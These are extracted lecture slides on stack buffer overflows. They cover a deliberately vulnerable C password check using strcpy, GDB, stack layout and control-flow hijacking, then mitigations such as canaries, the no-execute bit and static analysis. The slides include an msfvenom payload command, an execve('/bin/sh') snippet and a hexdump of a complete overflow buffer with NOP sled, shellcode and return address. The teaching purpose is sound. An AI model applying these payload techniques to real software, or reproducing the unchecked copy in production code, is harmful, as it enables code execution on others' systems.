Slides
Slides
Outline
Introduction
Debugger
Code Injection
Mitigations
Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Memory safety
Memory is protected against illegitimate memory access, e.g. by
attackers, to compromise the system.
▶ spatial safety: don’t access memory outside of
variables/objects/arrays/buffers
▶ temporal safety: don’t access memory that’s no longer valid
▶ what is valid or legitimate depends on application logic
Software Percentage
Android1 ca. 90%
Windows2 ca. 70%
iOS and macOS3 ca. 70%
Chromium4 ca. 70%
1 https://security.googleblog.com/2019/05/
queue-hardening-enhancements.html
2 https://msrc-blog.microsoft.com/2019/07/18/
we-need-a-safer-systems-programming-language/
3 https://langui.sh/2019/07/23/apple-memory-safety/
4 https://www.chromium.org/Home/chromium-security/memory-safety
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Definition
On many C implementations it is possible to corrupt the execution
stack by writing past the end of an array declared auto in a
routine. Code that does this is said to smash the stack, and can
cause return from the routine to jump to a random address. This
can produce some of the most insidious data-dependent bugs
known to mankind.
– Aleph One: Smashing the stack for fun and profit5
5 http://phrack.org/issues/49/14.html . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
if (strcmp(buffer, ”overflowdemo”)) {
printf (”Wrong password\n”);
} else {
printf (”Correct password\n”);
isAuthenticated = true;
}
if (isAuthenticated) {
printf (”Executing infopanel\n”);
system(”/usr/bin/xfce4−about”);
isExecuted = true;
}
return isExecuted;
} . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Demo
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Outline
Introduction
Debugger
Code Injection
Mitigations
Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Debugger
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Using GDB
Typical commands:
▶ run
▶ break
▶ continue
▶ print
▶ info locals, info registers, info frame
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Debugger demo
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Outline
Introduction
Debugger
Code Injection
Mitigations
Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Memory is flat
char c; array x c
int x;
char array [4];
array[0] array[3] “array[4]”
▶ memory is like a big array of bytes
▶ no boundaries in between
▶ each byte has an address
▶ variables occupy different amounts of memory
▶ in the following: not to scale
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
0x0000 0xFFFF
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Stack layout
saved register
ebx ebp ret
+ return address
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
CPU registers
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Calling conventions
6 Section
3-9 Function Calling Sequence in
http://www.sco.com/developers/devspecs/abi386-4.pdf
7 http://www.angelcode.com/dev/callconv/callconv.html
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Return address
eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo()
eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo()
eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo()
eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo() . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Overflow
Normal password
(unused) buffer[150] · · ·
overflowdemo\0 isE isA ebx ebp ret main()
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Outline
Introduction
Debugger
Code Injection
Mitigations
Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
A hidden function
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
(demo)
What we saw:
▶ password is wrong
▶ infopanel still shown because isAuthenticated is true
▶ then demo() returns …
▶ … and neverExecuted() runs:
“This text should never be printed!”
▶ finally, program crashes because stack (EBP) was corrupted
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Shell command:
DISPLAY=:0 mate−calc
C code:
execve(
”/bin/sh”,
{”/bin/sh”, ”−c”, ”DISPLAY=:0 mate−calc”, NULL},
NULL);
Using Metasploit to generate injectable code:
msfvenom −p linux/x86/exec cmd=”DISPLAY=:0 mate−calc”
−−bad−chars ’\x00’ >payload_calc.bin
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Resulting buffer
hexdump -C buffer_layout.bin
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 bb b5 da |................|
00000030 93 cd da cb d9 74 24 f4 5a 31 c9 b1 0f 31 5a 12 |.....t$.Z1...1Z.|
00000040 83 c2 04 03 ef d4 71 38 65 e2 2d 5a 2b 92 a5 71 |......q8e.-Z+..q|
00000050 a8 d3 d1 e2 01 97 75 f3 35 78 e4 9a ab 0f 0b 0e |......u.5x......|
00000060 db 05 cc af 1b 62 85 fc 4b 26 54 5a 56 8c 66 7c |.....b..K&TZV.f||
00000070 c5 91 f2 19 38 31 9a 8d 21 b5 0b 1d 2c 54 7e 21 |....81..!...,T~!|
00000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000090 90 90 90 90 90 90 01 01 41 41 41 41 42 42 42 42 |........AAAABBBB|
000000a0 f0 fc ff bf |....|
000000a4
▶ reversed bytes for return address 0xbffffcf0 due to little-endian byte order
▶ your output might look different because msfvenom payload is polymorphic
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Stack layout:
(unused) buffer[150] isE isA ebx ebp ret main()
Overwritten contents:
(unused) NOPsbuffer[150]
payload NOPs true
isE true
isA 0x41
ebx 0x42
ebp ret main()
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Expected behavior:
▶ strcpy() overflows the buffer
▶ shows xfce4-about infopanel because isAuthenticated is
true
▶ returns from function
▶ returns into our payload
▶ shows mate-calc program
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Outline
Introduction
Debugger
Code Injection
Mitigations
Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Mitigation approaches
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Bounds checking
array x c
▶ at run time, check that all access stay within their variable
▶ automatic in memory-safe languages
▶ requires that metadata about variables is available at run time
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Stack canaries
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
No-execute bit
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Static analysis
Analyze program without running it to detect vulnerable patterns.
flawfinder helloworld.c
code.c:21: [4] ( buffer ) strcpy : Does not check for buffer overflows when
copying to destination [MS−banned] (CWE−120). Consider using
snprintf, strcpy_s, or strlcpy (warning: strncpy easily misused).
Limitations:
▶ high overhead, so only for testing
▶ tests are only as good as the test data → fuzzing
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Hardware-assisted security
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Outline
Introduction
Debugger
Code Injection
Mitigations
Conclusion
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion
Recap
Today, we learned:
▶ reasonable-looking programs can have security issues
▶ buffer overflows can be used to hijack control flow
▶ setting flags like isAuthenticated
▶ calling different functions
▶ injecting attacker-controlled payloads
▶ but various defenses are available – use them
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Question Time